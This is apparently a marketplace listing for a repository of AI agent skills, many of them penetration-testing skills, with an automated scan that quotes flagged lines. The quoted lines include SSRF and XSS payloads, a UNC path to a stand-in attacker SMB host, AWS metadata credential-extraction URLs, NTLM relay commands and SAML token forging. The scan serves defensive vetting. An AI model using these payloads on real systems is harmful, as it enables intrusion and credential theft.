This skill should be used when establishing comprehensive QA testing processes for any software project. Use when creating test strategies, writing test cases following Google Testing Standards, executing test plans, tracking bugs with P0-P4 classification, calculating quality metrics, or generating progress reports. Includes autonomous execution capability via master prompts and complete documentation templates for third-party QA team handoffs. Implements OWASP security testing and achieves 90% coverage targets.
What it loads into context
Frontmatter
127 tokensAlways available to the agent
SKILL.md
2,577 tokensWhen the skill is activated
Reference documents
15,054 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use This Skill
- Quick Start
- Core Capabilities
- Day 1 Onboarding
- Autonomous Execution (⭐ Recommended)
- Adapting for Your Project
- Reference Documents
- Assets & Templates
- Scripts
- Common Patterns
- Success Criteria
Scripts executed separately
scripts/calculate_metrics.pyscripts/init_qa_project.py
Files
LICENSEasset1,064 bytesSKILL.mdcore10,580 bytesSKILL.mdcore10,580 bytesSKILL.mdcore10,580 bytesSKILL.mdcore10,580 bytesassets/templates/TEST-CASE-TEMPLATE.mddoc4,520 bytesreferences/day1_onboarding.mddoc9,696 bytesreferences/google_testing_standards.mddoc5,129 bytesreferences/ground_truth_principle.mddoc9,996 bytesreferences/llm_prompts_library.mddoc16,035 bytesreferences/master_qa_prompt.mddoc12,348 bytesscripts/calculate_metrics.pyruns2,871 bytesscripts/init_qa_project.pyruns12,333 bytes
Read SKILL.md
# QA Expert
Establish world-class QA testing processes for any software project using proven methodologies from Google Testing Standards and OWASP security best practices.
## When to Use This Skill
Trigger this skill when:
- Setting up QA infrastructure for a new or existing project
- Writing standardized test cases (AAA pattern compliance)
- Executing comprehensive test plans with progress tracking
- Implementing security testing (OWASP Top 10)
- Filing bugs with proper severity classification (P0-P4)
- Generating QA reports (daily summaries, weekly progress)
- Calculating quality metrics (pass rate, coverage, gates)View the complete source on GitHubthree-best-practices
When your agent uses it
Three.js performance optimization and best practices guidelines. Use when writing, reviewing, or optimizing Three.js code. Triggers on tasks involving 3D scenes, WebGL/WebGPU rendering, geometries, materials, textures, lighting, shaders, or TSL.
What it loads into context
Frontmatter
97 tokensAlways available to the agent
SKILL.md
3,557 tokensWhen the skill is activated
Reference documents
28,049 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Sources & Credits
- When to Apply
- Rule Categories by Priority
- Quick Reference
- How to Use
- Key Patterns
Files
SKILL.mdcore13,205 bytesSKILL.mdcore13,205 bytesrules/_sections.mddoc4,307 bytesrules/animation-system.mddoc4,694 bytesrules/asset-compression.mddoc2,460 bytesrules/audio-spatial.mddoc4,462 bytesrules/core-web-vitals.mddoc3,385 bytesrules/debug-devtools.mddoc4,638 bytesrules/draw-call-optimization.mddoc2,914 bytesrules/error-handling-recovery.mddoc5,689 bytesrules/geometry-instanced-mesh.mddoc3,135 bytesrules/gltf-loading-optimization.mddoc4,833 bytesrules/lighting-shadows-advanced.mddoc4,037 bytesrules/memory-dispose-geometry.mddoc1,900 bytesrules/migration-checklist.mddoc4,357 bytesrules/mobile-optimization.mddoc5,266 bytesrules/object-pooling.mddoc2,972 bytesrules/physics-integration.mddoc4,852 bytesrules/postprocessing-optimization.mddoc3,501 bytesrules/raycasting-optimization.mddoc4,919 bytesrules/render-delta-time.mddoc1,751 bytesrules/setup-use-import-maps.mddoc1,521 bytesrules/shader-mobile.mddoc3,033 bytesrules/tsl-complete-reference.mddoc7,264 bytesrules/tsl-compute-shaders.mddoc4,653 bytesrules/tsl-material-slots.mddoc3,229 bytesrules/tsl-post-processing.mddoc4,653 bytesrules/tsl-why-use.mddoc2,419 bytesrules/webgpu-renderer.mddoc3,194 bytesrules/webxr-setup.mddoc5,578 bytes
Read SKILL.md
# Three.js Best Practices
Comprehensive performance optimization guide for Three.js applications. Contains 120+ rules across 18 categories, prioritized by impact.
## Sources & Credits
> This skill compiles best practices from multiple authoritative sources:
> - Official guidelines from Three.js `llms` branch maintained by [mrdoob](https://github.com/mrdoob)
> - [100 Three.js Tips](https://www.utsubo.com/blog/threejs-best-practices-100-tips) by [Utsubo](https://www.utsubo.com) - Excellent comprehensive guide covering WebGPU, asset optimization, and performance tips
## When to Apply
Reference these guidelines when:
- Setting up a new Three.js projectView the complete source on GitHubtimeline-builder
When your agent uses it
Generate beautiful interactive timeline HTML pages from JSON data, with vertical, horizontal, or dual-side layouts, collapsible details, and custom colors. Ideal for project milestones, company histories, or resumes. Triggered when a user mentions 'timeline', 'history of events', 'project milestones', 'release log', or asks to visualize a chronological sequence of data.
What it loads into context
Frontmatter
105 tokensAlways available to the agent
SKILL.md
883 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Usage
- Use Cases
- Dependencies
Scripts executed separately
scripts/generate_timeline.py
Files
LICENSEasset1,087 bytesSKILL.mdcore3,673 bytesSKILL.mdcore3,673 bytesSKILL.mdcore3,673 bytesSKILL.mdcore3,673 bytesSKILL.mdcore3,673 bytesscripts/generate_timeline.pyruns17,742 bytes
Read SKILL.md
# Timeline Builder
Generate beautiful interactive timeline HTML pages from JSON configuration data, with three layout modes:
1. **Vertical layout (`vertical`)** — A classic top-to-bottom timeline with event cards alternating on either side of the axis
2. **Horizontal layout (`horizontal`)** — A horizontally scrollable timeline, best for displaying fewer events
3. **Dual-side layout (`dual-side`)** — Events are placed on the left or right based on the `side` field, great for side-by-side comparisons
All layouts support:
- Click to expand/collapse event details
- Mobile-friendly responsive design
- Custom theme colors, icons, and category labels
- Pure static HTML with zero dependencies — opens directly in any browser
View the complete source on GitHubtop-web-vulnerabilities
When your agent uses it
This skill should be used when the user asks to "identify web application vulnerabilities", "explain common security flaws", "understand vulnerability categories", "learn about injection attacks", "review access control weaknesses", "analyze API security issues", "assess security misconfigurations", "understand client-side vulnerabilities", "examine mobile and IoT security flaws", or "reference the OWASP-aligned vulnerability taxonomy". Use this skill to provide comprehensive vulnerability definitions, root causes, impacts, and mitigation strategies across all major web security categories.
What it loads into context
Frontmatter
134 tokensAlways available to the agent
SKILL.md
5,251 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Purpose
- Prerequisites
- Outputs and Deliverables
- Core Workflow
- Quick Reference
- Constraints and Limitations
- Troubleshooting
- References
Files
SKILL.mdcore24,254 bytes
Read SKILL.md
# Top 100 Web Vulnerabilities Reference
## Purpose
Provide a comprehensive, structured reference for the 100 most critical web application vulnerabilities organized by category. This skill enables systematic vulnerability identification, impact assessment, and remediation guidance across the full spectrum of web security threats. Content organized into 15 major vulnerability categories aligned with industry standards and real-world attack patterns.
## Prerequisites
- Basic understanding of web application architecture (client-server model, HTTP protocol)
- Familiarity with common web technologies (HTML, JavaScript, SQL, XML, APIs)
- Understanding of authentication and authorization concepts
- Access to web application security testing tools (Burp Suite, OWASP ZAP)
- Knowledge of secure coding principles recommended
View the complete source on GitHubtos-clause-scanner
When your agent uses it
Audit Terms of Service, user agreements, and privacy policies for consumer risks, producing a structured report that flags unfair clauses, data traps, and liability issues. Trigger when a user asks to review, audit, or analyze a ToS, privacy policy, or user agreement, or mentions specific concerns like auto-renewal or data authorization.
What it loads into context
Frontmatter
81 tokensAlways available to the agent
SKILL.md
2,837 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Quick Start
- 1. Audit Framework
- 2. Audit Workflow
- 3. Output Format: Audit Report
- 4. Regulatory Reference Framework
- 5. Common Industry-Specific Risks
- 6. Agent Behavior Guidelines
Files
LICENSEasset1,094 bytesSKILL.mdcore13,072 bytes
Read SKILL.md
# Terms of Service Auditor (Consumer Perspective)
Systematically audit the Terms of Service, User Agreements, and Privacy Policies of apps, SaaS products, and platforms from an ordinary consumer's standpoint. Identify clauses that may harm consumer rights and produce an actionable audit report.
## Quick Start
Paste the terms text directly to the Agent or provide a file path. The Agent will automatically complete the audit and output a structured report.
**Example prompts:**
- "Review this user agreement for any unfair or one-sided clauses"
- "Analyze this app's privacy policy and flag any covert data authorizations"
- "Does this ToS have auto-renewal traps?"
---View the complete source on GitHubtypescript-pro
When your agent uses it
Use when building TypeScript applications requiring advanced type systems, generics, or full-stack type safety. Invoke for type guards, utility types, tRPC integration, monorepo setup.
What it loads into context
Frontmatter
137 tokensAlways available to the agent
SKILL.md
786 tokensWhen the skill is activated
Reference documents
11,386 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Role Definition
- When to Use This Skill
- Core Workflow
- Reference Guide
- Constraints
- Output Templates
- Knowledge Reference
Files
SKILL.mdcore3,829 bytesreferences/advanced-types.mddoc6,539 bytesreferences/configuration.mddoc9,283 bytesreferences/patterns.mddoc11,318 bytesreferences/type-guards.mddoc8,026 bytesreferences/utility-types.mddoc8,633 bytes
Read SKILL.md
# TypeScript Pro
Senior TypeScript specialist with deep expertise in advanced type systems, full-stack type safety, and production-grade TypeScript development.
## Role Definition
You are a senior TypeScript developer with 10+ years of experience. You specialize in TypeScript 5.0+ advanced type system features, full-stack type safety, and build optimization. You create type-safe APIs with zero runtime type errors.
## When to Use This Skill
- Building type-safe full-stack applications
- Implementing advanced generics and conditional types
- Setting up tsconfig and build tooling
- Creating discriminated unions and type guardsView the complete source on GitHubvc-industry-research
When your agent uses it
Generate professional primary market / venture capital industry research reports, including sector deep-dives, investment memos, and market analysis. Produces detailed PDF reports covering TMT, consumer, healthcare, and industrials. Triggered by requests to analyze an industry, create a market report, write a sector deep-dive, or generate any PE/VC-style research document in Chinese or English.
What it loads into context
Frontmatter
88 tokensAlways available to the agent
SKILL.md
1,526 tokensWhen the skill is activated
Reference documents
5,368 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Reference Source
- Supported Outputs
- Workflow
- Style Selection Guide
- Structure Templates
- Typography Strategy
- Exhibit Numbering
- Source Citation Rules
- Key Quality Checks
Files
SKILL.mdcore6,542 bytesSKILL.mdcore6,542 bytesSKILL.mdcore6,542 bytesSKILL.mdcore6,542 bytesSKILL.mdcore6,542 bytesreferences/structure_contract.mddoc11,005 bytesreferences/style_contract.mddoc9,999 bytes
Read SKILL.md
# Primary Market Industry Research Report
Generate professional industry research reports in an institutional primary-market (PE/VC) research style.
## Reference Source
- **Type**: Uploaded artifact (PDF)
- **Reference File Type**: PDF
- **Languages**: Chinese or English (auto-detect from user query; default to user's language)
## Supported Outputs
- PDF (default)
- DOCXView the complete source on GitHubwindows-privilege-escalation
When your agent uses it
This skill should be used when the user asks to "escalate privileges on Windows," "find Windows privesc vectors," "enumerate Windows for privilege escalation," "exploit Windows misconfigurations," or "perform post-exploitation privilege escalation." It provides comprehensive guidance for discovering and exploiting privilege escalation vulnerabilities in Windows environments.
What it loads into context
Frontmatter
94 tokensAlways available to the agent
SKILL.md
4,046 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Purpose
- Inputs / Prerequisites
- Outputs / Deliverables
- Core Workflow
- Quick Reference
- Constraints and Limitations
- Examples
- Troubleshooting
Files
SKILL.mdcore14,367 bytesSKILL.mdcore14,367 bytesSKILL.mdcore14,367 bytesSKILL.mdcore14,367 bytesSKILL.mdcore14,367 bytesSKILL.mdcore14,367 bytesSKILL.mdcore14,367 bytesSKILL.mdcore14,367 bytesSKILL.mdcore14,367 bytesSKILL.mdcore14,367 bytesSKILL.mdcore14,367 bytesSKILL.mdcore14,367 bytesSKILL.mdcore14,367 bytesSKILL.mdcore14,367 bytesSKILL.mdcore14,367 bytesSKILL.mdcore14,367 bytesSKILL.mdcore14,367 bytesSKILL.mdcore14,367 bytesSKILL.mdcore14,367 bytesSKILL.mdcore14,367 bytesSKILL.mdcore14,367 bytesSKILL.mdcore14,367 bytesSKILL.mdcore14,367 bytesSKILL.mdcore14,367 bytesSKILL.mdcore14,367 bytesSKILL.mdcore14,367 bytesSKILL.mdcore14,367 bytes
Read SKILL.md
# Windows Privilege Escalation
## Purpose
Provide systematic methodologies for discovering and exploiting privilege escalation vulnerabilities on Windows systems during penetration testing engagements. This skill covers system enumeration, credential harvesting, service exploitation, token impersonation, kernel exploits, and various misconfigurations that enable escalation from standard user to Administrator or SYSTEM privileges.
## Inputs / Prerequisites
- **Initial Access**: Shell or RDP access as standard user on Windows system
- **Enumeration Tools**: WinPEAS, PowerUp, Seatbelt, or manual commands
- **Exploit Binaries**: Pre-compiled exploits or ability to transfer tools
- **Knowledge**: Understanding of Windows security model and privileges
- **Authorization**: Written permission for penetration testing activities
View the complete source on GitHubwireshark-analysis
When your agent uses it
This skill should be used when the user asks to "analyze network traffic with Wireshark", "capture packets for troubleshooting", "filter PCAP files", "follow TCP/UDP streams", "detect network anomalies", "investigate suspicious traffic", or "perform protocol analysis". It provides comprehensive techniques for network packet capture, filtering, and analysis using Wireshark.
What it loads into context
Frontmatter
99 tokensAlways available to the agent
SKILL.md
2,722 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Purpose
- Inputs / Prerequisites
- Outputs / Deliverables
- Core Workflow
- Quick Reference
- Constraints and Guardrails
- Examples
- Troubleshooting
Files
SKILL.mdcore12,164 bytesSKILL.mdcore12,164 bytes
Read SKILL.md
# Wireshark Network Traffic Analysis
## Purpose
Execute comprehensive network traffic analysis using Wireshark to capture, filter, and examine network packets for security investigations, performance optimization, and troubleshooting. This skill enables systematic analysis of network protocols, detection of anomalies, and reconstruction of network conversations from PCAP files.
## Inputs / Prerequisites
### Required Tools
- Wireshark installed (Windows, macOS, or Linux)
- Network interface with capture permissions
- PCAP/PCAPNG files for offline analysis
- Administrator/root privileges for live capture
View the complete source on GitHubwordpress-penetration-testing
When your agent uses it
This skill should be used when the user asks to "pentest WordPress sites", "scan WordPress for vulnerabilities", "enumerate WordPress users, themes, or plugins", "exploit WordPress vulnerabilities", or "use WPScan". It provides comprehensive WordPress security assessment methodologies.
What it loads into context
Frontmatter
84 tokensAlways available to the agent
SKILL.md
3,209 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Purpose
- Prerequisites
- Outputs and Deliverables
- Core Workflow
- Quick Reference
- Constraints and Limitations
- Troubleshooting
Files
SKILL.mdcore12,227 bytesSKILL.mdcore12,227 bytesSKILL.mdcore12,227 bytesSKILL.mdcore12,227 bytesSKILL.mdcore12,227 bytesSKILL.mdcore12,227 bytesSKILL.mdcore12,227 bytesSKILL.mdcore12,227 bytesSKILL.mdcore12,227 bytesSKILL.mdcore12,227 bytesSKILL.mdcore12,227 bytesSKILL.mdcore12,227 bytesSKILL.mdcore12,227 bytesSKILL.mdcore12,227 bytesSKILL.mdcore12,227 bytesSKILL.mdcore12,227 bytesSKILL.mdcore12,227 bytesSKILL.mdcore12,227 bytesSKILL.mdcore12,227 bytesSKILL.mdcore12,227 bytesSKILL.mdcore12,227 bytesSKILL.mdcore12,227 bytesSKILL.mdcore12,227 bytesSKILL.mdcore12,227 bytesSKILL.mdcore12,227 bytesSKILL.mdcore12,227 bytesSKILL.mdcore12,227 bytesSKILL.mdcore12,227 bytes
Read SKILL.md
# WordPress Penetration Testing
## Purpose
Conduct comprehensive security assessments of WordPress installations including enumeration of users, themes, and plugins, vulnerability scanning, credential attacks, and exploitation techniques. WordPress powers approximately 35% of websites, making it a critical target for security testing.
## Prerequisites
### Required Tools
- WPScan (pre-installed in Kali Linux)
- Metasploit Framework
- Burp Suite or OWASP ZAP
- Nmap for initial discovery
- cURL or wgetView the complete source on GitHubxss-html-injection
When your agent uses it
This skill should be used when the user asks to "test for XSS vulnerabilities", "perform cross-site scripting attacks", "identify HTML injection flaws", "exploit client-side injection vulnerabilities", "steal cookies via XSS", or "bypass content security policies". It provides comprehensive techniques for detecting, exploiting, and understanding XSS and HTML injection attack vectors in web applications.
What it loads into context
Frontmatter
102 tokensAlways available to the agent
SKILL.md
3,091 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Purpose
- Inputs / Prerequisites
- Outputs / Deliverables
- Core Workflow
- Quick Reference
- Constraints and Guardrails
- Examples
- Troubleshooting
Files
SKILL.mdcore13,232 bytesSKILL.mdcore13,232 bytes
Read SKILL.md
# Cross-Site Scripting and HTML Injection Testing
## Purpose
Execute comprehensive client-side injection vulnerability assessments on web applications to identify XSS and HTML injection flaws, demonstrate exploitation techniques for session hijacking and credential theft, and validate input sanitization and output encoding mechanisms. This skill enables systematic detection and exploitation across stored, reflected, and DOM-based attack vectors.
## Inputs / Prerequisites
### Required Access
- Target web application URL with user input fields
- Burp Suite or browser developer tools for request analysis
- Access to create test accounts for stored XSS testing
- Browser with JavaScript console enabled
View the complete source on GitHubSkills included
- academic-paper-reviewer
- active-directory-attacks
- api-fuzzing-bug-bounty
- api-shape-explorer
- audit-flow
- authentication-patterns
- aws-penetration-testing
- broken-authentication
- burp-suite-testing
- caching
- chart-image
- cloud-penetration-testing
- code-documenter
- code-to-diagram
- code-vuln-audit
- vercel-composition-patterns
- cross-examine
- cv-tailor
- data-viz-renderer
- database-optimizer
- database-scout
- dataset-quality-audit
- deep-module-refactor
- design-system-builder
- dev-guide-generator
- ethical-hacking-methodology
- file-path-traversal
- html-injection-testing
- http-load-profiler
- idor-testing
- linux-privilege-escalation
- linux-shell-scripting
- localization-toolkit
- log-error-digest
- metasploit-framework
- network-101
- nextjs-developer
- pentest-checklist
- pentest-commands
- pipeline-blueprint
- playwright-skill
- playwright-ci
- playwright-core
- playwright-migration
- playwright-cli
- playwright-pom
- privilege-escalation-methods
- project-sizing-guide
- r2-upload
- r3f-animation
- r3f-best-practices
- vercel-react-best-practices
- red-team-tools
- regression-modeler
- regulatory-audit-generator
- repo-audit
- route-to-openapi
- scanning-tools
- scholarly-writing-refiner
- secure-code-review
- shodan-reconnaissance
- smtp-penetration-testing
- sql-injection-testing
- sql-insight
- sqlmap-database-pentesting
- ssh-penetration-testing
- test-driven-dev
- test-suite-architect
- three-best-practices
- timeline-builder
- top-web-vulnerabilities
- tos-clause-scanner
- typescript-pro
- vc-industry-research
- windows-privilege-escalation
- wireshark-analysis
- wordpress-penetration-testing
- xss-html-injection
Repository facts
- License
- MIT
- Created
- Jun 21, 2025
- Last pushed
- Nov 4, 2026
- Forks
- 470
- Open issues
- 3
- Project activity
- Active
Rank over the last 12 weeks
Now #290 · best #217 · down 39 in 30 days
- #282 from Oct 31 to Nov 1
- #283 on Nov 2
- #285 on Nov 3
- #286 on Nov 4
- #289 on Nov 5
- #290 since Nov 6
63 earlier periods
- #208 on Aug 2
- #209 on Aug 7
- #210 from Aug 8 to Aug 9
- #215 from Aug 10 to Aug 11
- #214 on Aug 12
- #218 from Aug 13 to Aug 15
- #217 from Aug 16 to Aug 17
- #221 on Aug 18
- #220 on Aug 19
- #217 on Aug 20
- #218 on Aug 21
- #219 on Aug 22
- #225 on Aug 23
- #224 on Aug 24
- #225 on Aug 25
- #227 on Aug 26
- #228 on Aug 27
- #226 on Aug 28
- #227 on Aug 29
- #228 on Aug 30
- #229 on Aug 31
- #234 on Sep 1
- #228 on Sep 2
- #235 on Sep 3
- #234 on Sep 5
- #231 on Sep 6
- #233 from Sep 7 to Sep 8
- #234 on Sep 9
- #232 on Sep 10
- #234 from Sep 11 to Sep 12
- #237 from Sep 13 to Sep 14
- #238 on Sep 15
- #236 from Sep 16 to Sep 17
- #242 on Sep 18
- #242 on Sep 20
- #243 on Sep 21
- #242 on Sep 22
- #243 from Sep 24 to Sep 26
- #245 on Sep 28
- #246 on Sep 29
- #244 on Sep 30
- #246 on Oct 1
- #244 on Oct 3
- #245 on Oct 5
- #246 on Oct 6
- #251 on Oct 7
- #253 on Oct 8
- #253 on Oct 10
- #254 on Oct 11
- #258 on Oct 12
- #260 on Oct 13
- #258 on Oct 14
- #259 on Oct 15
- #261 on Oct 17
- #262 from Oct 18 to Oct 19
- #263 on Oct 20
- #267 from Oct 21 to Oct 22
- #265 on Oct 23
- #268 on Oct 24
- #270 on Oct 25
- #273 on Oct 28
- #278 on Oct 29
- #280 on Oct 30
Before you install
Network or broad shellAutomated signals, not a guarantee
Checked Nov 2, 2026
Not fully analyzed: some files were too long, unreadable or missing. This never lowers the level.
Show 624 notes
skills/active-directory-attacks/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/active-directory-attacks/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/active-directory-attacks/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/active-directory-attacks/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/active-directory-attacks/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/active-directory-attacks/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/active-directory-attacks/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/active-directory-attacks/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/active-directory-attacks/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/active-directory-attacks/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/active-directory-attacks/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/active-directory-attacks/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/active-directory-attacks/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/active-directory-attacks/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/active-directory-attacks/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/active-directory-attacks/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/active-directory-attacks/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/active-directory-attacks/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/active-directory-attacks/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/active-directory-attacks/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzed
- No broad tool permissions
- 154 dangerous shell commandsin 32 files: network-101/SKILL.md:47 linux-privilege-escalation/SKILL.md:3 privilege-escalation-methods/SKILL.md:36 and 29 more
- 1,821 network referencesin 167 files: wordpress-penetration-testing/SKILL.md:20 core/when-to-mock.md:77 playwright-cli/session-management.md:9 and 164 more
- 1 obfuscation signalin 1 file: xss-html-injection/SKILL.md:326
- No instruction overrides
- 25 executable scriptsin 25 files: audit-flow/scripts/audit.py:1 audit-flow/setup.sh:1 chart-image/scripts/chart.mjs:1 and 22 more
- 105 references to secretsin 41 files: core/api-testing.md:27 ssh-penetration-testing/SKILL.md:184 core/configuration.md:26 and 38 more
- No requests to vote in Hot
Show all 2,106 signals by file
skills/active-directory-attacks/SKILL.md
skills/active-directory-attacks/references/advanced-attacks.md
- Network accessline 232
# Start relay ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController - Network accessline 233
ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController - Network accessline 295
# Forge SAML token python ADFSpoof.py -b EncryptedPfx.bin DkmKey.bin -s adfs.domain.local saml2 --endpoint https://target/saml --nameid administrator@domain.local - Network accessline 296
python ADFSpoof.py -b EncryptedPfx.bin DkmKey.bin -s adfs.domain.local saml2 --endpoint https://target/saml --nameid administrator@domain.local
skills/api-fuzzing-bug-bounty/SKILL.md
- Network accessline 57
# Use Kiterunner for API discovery kr scan https://target.com -w routes-large.kite - Network accessline 58
kr scan https://target.com -w routes-large.kite - Network accessline 145
<object data="http://127.0.0.1:8443"/> - Network accessline 146
<img src="http://127.0.0.1:445"/> - Network accessline 152
# If .NET app uses Path.Combine(path_1, path_2) # Test for path traversal https://example.org/download?filename=a.png - Network accessline 153
# Test for path traversal https://example.org/download?filename=a.png https://example.org/download?filename=C:\inetpub\wwwroot\web.config - Network accessline 154
https://example.org/download?filename=a.png - Network accessline 155
https://example.org/download?filename=C:\inetpub\wwwroot\web.config - Network accessline 156
https://example.org/download?filename=\\smb.dns.attacker.com\a.png - Network accessline 249
# XSS via GraphQL endpoint http://target.com/graphql?query={user(name:"<script>alert(1)</script>"){id}} - Network accessline 250
http://target.com/graphql?query={user(name:"<script>alert(1)</script>"){id}} - Network accessline 252
# URL-encoded XSS http://target.com/example?id=%C/script%E%Cscript%Ealert('XSS')%C/script%E - Network accessline 253
http://target.com/example?id=%C/script%E%Cscript%Ealert('XSS')%C/script%E - Network accessline 298
<!-- SSRF via PDF export --> <object data="http://127.0.0.1:8443"/> - Network accessline 299
<object data="http://127.0.0.1:8443"/> - Network accessline 301
<!-- Port scanning --> <img src="http://127.0.0.1:445"/> - Network accessline 302
<img src="http://127.0.0.1:445"/> - Network accessline 304
<!-- IP disclosure --> <img src="https://iplogger.com/yourcode.gif"/> - Network accessline 305
<img src="https://iplogger.com/yourcode.gif"/> - Network accessline 418
curl -X POST https://target.com/graphql \
skills/audit-flow/EXAMPLES.md
skills/audit-flow/SKILL.md
- Dangerous shell operationline 37
| `rm .audit/audit.db` | Destroys audit history |
skills/audit-flow/scripts/audit.py
- Executable scriptline 1
#!/usr/bin/env python3
skills/audit-flow/setup.sh
- Executable scriptline 1
#!/bin/bash
skills/authentication-patterns/SKILL.md
- Access to secretsline 96
[Credential-related source omitted]
skills/aws-penetration-testing/SKILL.md
- Network accessline 35
| Tool | Purpose | Installation | |------|---------|--------------| | Pacu | AWS exploitation framework | `git clone https://github.com/RhinoSecurityLabs/pacu` | - Network accessline 36
|------|---------|--------------| | Pacu | AWS exploitation framework | `git clone https://github.com/RhinoSecurityLabs/pacu` | | SkyArk | Shadow Admin discovery | `Import-Module .\SkyArk.ps1` | - Network accessline 37
| Pacu | AWS exploitation framework | `git clone https://github.com/RhinoSecurityLabs/pacu` | - Network accessline 39
| Prowler | Security auditing | `pip install prowler` | | ScoutSuite | Multi-cloud auditing | `pip install scoutsuite` | | enumerate-iam | Permission enumeration | `git clone https://github.com/andresriancho/enumerate-iam` | - Network accessline 40
| ScoutSuite | Multi-cloud auditing | `pip install scoutsuite` | | enumerate-iam | Permission enumeration | `git clone https://github.com/andresriancho/enumerate-iam` | | Principal Mapper | IAM analysis | `pip install principalmapper` | - Network accessline 41
| enumerate-iam | Permission enumeration | `git clone https://github.com/andresriancho/enumerate-iam` | - Network accessline 95
# Access metadata endpoint http://169.254.169.254/latest/meta-data/ - Network accessline 96
http://169.254.169.254/latest/meta-data/ - Network accessline 98
# Get IAM role name http://169.254.169.254/latest/meta-data/iam/security-credentials/ - Network accessline 99
http://169.254.169.254/latest/meta-data/iam/security-credentials/ - Network accessline 101
# Extract temporary credentials http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME - Network accessline 102
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME - Network accessline 116
[Credential-related source omitted] - Network accessline 117
[Credential-related source omitted] - Network accessline 118
"http://169.254.169.254/latest/api/token") - Network accessline 120
[Credential-related source omitted] - Network accessline 121
[Credential-related source omitted] - Network accessline 122
"http://169.254.169.254/latest/meta-data/iam/security-credentials/" - Network accessline 132
# Access credentials http://169.254.170.2/v2/credentials/CREDENTIAL-PATH - Network accessline 133
http://169.254.170.2/v2/credentials/CREDENTIAL-PATH - Network accessline 207
# Common bucket URL patterns https://{bucket-name}.s3.amazonaws.com - Network accessline 208
https://{bucket-name}.s3.amazonaws.com - Network accessline 209
https://s3.amazonaws.com/{bucket-name} - Network accessline 228
https://buckets.grayhatwarfare.com/ - Dangerous shell operationline 284
sudo mkdir /mnt/stolen - Dangerous shell operationline 285
sudo mount /dev/xvdf1 /mnt/stolen - Network accessline 306
git clone https://github.com/NetSPI/aws_consoler - Network accessline 343
| List EC2 | `aws ec2 describe-instances` | | List Lambda | `aws lambda list-functions` | | Get metadata | `curl http://169.254.169.254/latest/meta-data/` | - Network accessline 345
| Get metadata | `curl http://169.254.169.254/latest/meta-data/` | - Network accessline 373
# 1. Find SSRF vulnerability in web app https://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ - Network accessline 374
https://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ - Network accessline 376
# 2. Get role name from response # 3. Extract credentials https://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole - Network accessline 378
https://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole - Access to secretsline 382
[Credential-related source omitted] - Access to secretsline 383
[Credential-related source omitted]
skills/aws-penetration-testing/references/advanced-aws-pentesting.md
- Network accessline 40
git clone https://github.com/duo-labs/cloudmapper.git - Network accessline 61
git clone https://github.com/nccgroup/s3_objects_check - Network accessline 67
# Finds secrets exposed via Amazon EBS's "public" mode git clone https://github.com/BishopFox/dufflebag - Network accessline 68
git clone https://github.com/BishopFox/dufflebag - Network accessline 108
# Get function details and download code aws lambda get-function --function-name FUNCTION_NAME wget -O lambda-function.zip "url-from-previous-query" - Network accessline 110
wget -O lambda-function.zip "url-from-previous-query" - Network accessline 148
# Via RCE - get environment variables https://apigateway/prod/system?cmd=env - Network accessline 149
https://apigateway/prod/system?cmd=env - Network accessline 151
# Via SSRF - access runtime API https://apigateway/prod/example?url=http://localhost:9001/2018-06-01/runtime/invocation/ - Network accessline 152
https://apigateway/prod/example?url=http://localhost:9001/2018-06-01/runtime/invocation/ - Network accessline 154
# Via file read https://apigateway/prod/system?cmd=file:///proc/self/environ - Network accessline 155
